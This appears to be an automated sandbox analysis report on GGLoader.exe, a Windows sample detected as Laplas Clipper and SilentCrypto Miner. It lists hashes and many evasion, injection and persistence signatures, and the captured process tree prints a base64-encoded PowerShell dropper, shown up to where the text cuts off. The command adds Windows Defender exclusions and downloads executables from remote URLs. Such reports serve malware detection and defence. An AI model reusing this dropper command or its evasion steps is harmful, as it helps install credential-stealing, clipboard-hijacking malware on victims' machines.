Edit tour
Windows
Analysis Report
GGLoader.exe
Overview
General Information
| Sample name: | GGLoader.exe |
| Analysis ID: | 1526110 |
| MD5: | 982e4ae4559538cfb529dfaff0507880 |
| SHA1: | a3b0e3989d6e40792134286e40448004ebeda077 |
| SHA256: | 95a08f9fd8741d2b265a43143289af012ca24cee776609bc79337d63988246fd |
| Infos: |   |
 | |
Detection
Laplas Clipper, SilentCrypto Miner
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Stop multiple services
Suricata IDS alerts for network traffic
Yara detected Laplas Clipper
Yara detected Powershell download and execute
Yara detected SilentCrypto Miner
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Binary or sample is protected by dotNetProtector
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Contains functionality to compare user and computer (likely to detect sandboxes)
Contains functionality to inject code into remote processes
Creates a thread in another existing process (thread injection)
Drops large PE files
Encrypted powershell cmdline option found
Found direct / indirect Syscall (likely to bypass EDR)
Found hidden mapped module (file has been removed from disk)
Found stalling execution ending in API Sleep call
Hooks files or directories query functions (used to hide files and directories)
Hooks processes query functions (used to hide processes)
Hooks registry keys query functions (used to hide registry keys)
Injects a PE file into a foreign processes
Injects code into the Windows Explorer (explorer.exe)
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies power options to not sleep / hibernate
Modifies the context of a thread in another process (thread injection)
Modifies the hosts file
Modifies the prolog of user mode functions (user mode inline hooks)
Obfuscated command line found
Potential dropper URLs found in powershell memory
Powershell drops PE file
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: Net WebClient Casing Anomalies
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential WinAPI Calls Via CommandLine
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Stops critical windows services
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Uses cmd line tools excessively to alter registry or file data
Uses powercfg.exe to modify the power settings
Uses schtasks.exe or at.exe to add and modify task schedules
Writes to foreign memory regions
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if the current process is being debugged
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates COM task schedule object (often to register a task for autostart)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Deletes files inside the Windows folder
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain (date check)
Found evasive API chain (may stop execution after accessing registry keys)
Found evasive API chain checking for process token information
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
PE file contains executable resources (Code or Archives)
PE file contains more sections than normal
PE file contains sections with non-standard names
PE file does not import any functions
PE file overlay found
Queries disk information (often used to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious Add Scheduled Task Parent
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: Suspicious Schtasks From Env Var Folder
Sigma detected: Uncommon Svchost Parent Process
Stores large binary data to the registry
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Classification
- System is w10x64
GGLoader.exe (PID: 7460 cmdline: "C:\Users\ user\Deskt op\GGLoade r.exe" MD5: 982E4AE4559538CFB529DFAFF0507880) 
powershell.exe (PID: 7520 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -EncodedCo mmand "PAA jAGcAcgB4A CMAPgBTAHQ AYQByAHQAL QBQAHIAbwB jAGUAcwBzA CAAcABvAHc AZQByAHMAa ABlAGwAbAA gAC0AVwBpA G4AZABvAHc AUwB0AHkAb ABlACAASAB pAGQAZABlA G4AIAAtAEE AcgBnAHUAb QBlAG4AdAB MAGkAcwB0A CAAIgBBAGQ AZAAtAFQAe QBwAGUAIAA tAEEAcwBzA GUAbQBiAGw AeQBOAGEAb QBlACAAUwB 5AHMAdABlA G0ALgBXAGk AbgBkAG8Ad wBzAC4ARgB vAHIAbQBzA DsAPAAjAG4 AdQBzACMAP gBbAFMAeQB zAHQAZQBtA C4AVwBpAG4 AZABvAHcAc wAuAEYAbwB yAG0AcwAuA E0AZQBzAHM AYQBnAGUAQ gBvAHgAXQA 6ADoAUwBoA G8AdwAoACc ATgBvACAAV gBpAHIAdAB 1AGEAbAAgA E0AYQBjAGg AaQBuAGUAL wBTAGUAcgB 2AGUAcgAgA GkAcwAgAGE AbABsAG8Ad wBlAGQAIQA gAFQAcgB5A CAAcgB1AG4 AbgBpAG4AZ wAgAG8AbgA gAGEAIABkA GkAZgBmAGU AcgBlAG4Ad AAgAGQAZQB 2AGkAYwBlA CEAJwAsACc AJwAsACcAT wBLACcALAA nAEUAcgByA G8AcgAnACk APAAjAHcAa wBrACMAPgA 7ACIAOwA8A CMAZQBmAHI AIwA+ACAAQ QBkAGQALQB NAHAAUAByA GUAZgBlAHI AZQBuAGMAZ QAgADwAIwB mAHAAZwAjA D4AIAAtAEU AeABjAGwAd QBzAGkAbwB uAFAAYQB0A GgAIABAACg AJABlAG4Ad gA6AFUAcwB lAHIAUAByA G8AZgBpAGw AZQAsACQAZ QBuAHYAOgB TAHkAcwB0A GUAbQBEAHI AaQB2AGUAK QAgADwAIwB uAHoAaAAjA D4AIAAtAEY AbwByAGMAZ QAgADwAIwB hAHEAZAAjA D4AOwAoAE4 AZQB3AC0AT wBiAGoAZQB jAHQAIABTA HkAcwB0AGU AbQAuAE4AZ QB0AC4AVwB lAGIAQwBsA GkAZQBuAHQ AKQAuAEQAb wB3AG4AbAB vAGEAZABGA GkAbABlACg AJwBoAHQAd ABwAHMAOgA vAC8AYgBpA HQAYgB1AGM AawBlAHQAL gBvAHIAZwA vADUAOQA0A DAAagBnADk AOAAzADQAL wBnAGYAMwA 0ADQAMwBmA DMALwByAGE AdwAvADAAY QBkAGYAYQB lAGYANABmA DgANAA3AGE AMQA3AGUAY QA0AGUANAB mADYANQA2A GQAYwBkADg ANQBlADcAN gAyADkAMwA 3ADgAMABlA GQALwBEAC4 AZQB4AGUAJ wAsACAAPAA jAHAAagB4A CMAPgAgACg ASgBvAGkAb gAtAFAAYQB 0AGgAIAA8A CMAdgBjAHk AIwA+ACAAL QBQAGEAdAB oACAAJABlA G4AdgA6AFQ AZQBtAHAAI AA8ACMAeQB jAHkAIwA+A CAALQBDAGg AaQBsAGQAU ABhAHQAaAA gACcATABpA GMAZQBuAHM AZQBHAGUAd AAuAGUAeAB lACcAKQApA DwAIwBiAGc AawAjAD4AO wAgACgATgB lAHcALQBPA GIAagBlAGM AdAAgAFMAe QBzAHQAZQB tAC4ATgBlA HQALgBXAGU AYgBDAGwAa QBlAG4AdAA pAC4ARABvA HcAbgBsAG8 AYQBkAEYAa QBsAGUAKAA nAGgAdAB0A HAAcwA6AC8 ALwBiAGkAd ABiAHUAYwB rAGUAdAAuA G8AcgBnAC8 AcgBlAGMAa ABlAGEAdAB zAG8AcgBnA C8AcgBlAGM AaABlAGEAd ABzAGQAaQB yAGUAYwB0A C8AcgBhAHc ALwAwADAAZ QBiADIAZAA wAGIANAAzA DYANQA5ADE AZgBjAGUAM QAxADUAMwB iAGEAYwBhA DcANgAyADU AMAA5AGUAN wA2ADIAZgA yAGMAZQA0A C8AQwBMAFA ALgBlAHgAZ QAnACwAIAA 8ACMAcwBiA GQAIwA+ACA AKABKAG8Aa QBuAC0AUAB hAHQAaAAgA DwAIwBoAHE AdQAjAD4AI AAtAFAAYQB 0AGgAIAAkA GUAbgB2ADo AVABlAG0Ac AAgADwAIwB rAHcAcwAjA D4AIAAtAEM AaABpAGwAZ ABQAGEAdAB oACAAJwBMA GkAYwBDAGg AZQBjAGsAL gBlAHgAZQA nACkAKQA8A CMAawBpAHg AIwA+ADsAI AAoAE4AZQB 3AC0ATwBiA GoAZQBjAHQ AIABTAHkAc wB0AGUAbQA uAE4AZQB0A C4AVwBlAGI AQwBsAGkAZ QBuAHQAKQA uAEQAbwB3A G4AbABvAGE AZABGAGkAb ABlACgAJwB oAHQAdABwA HMAOgAvAC8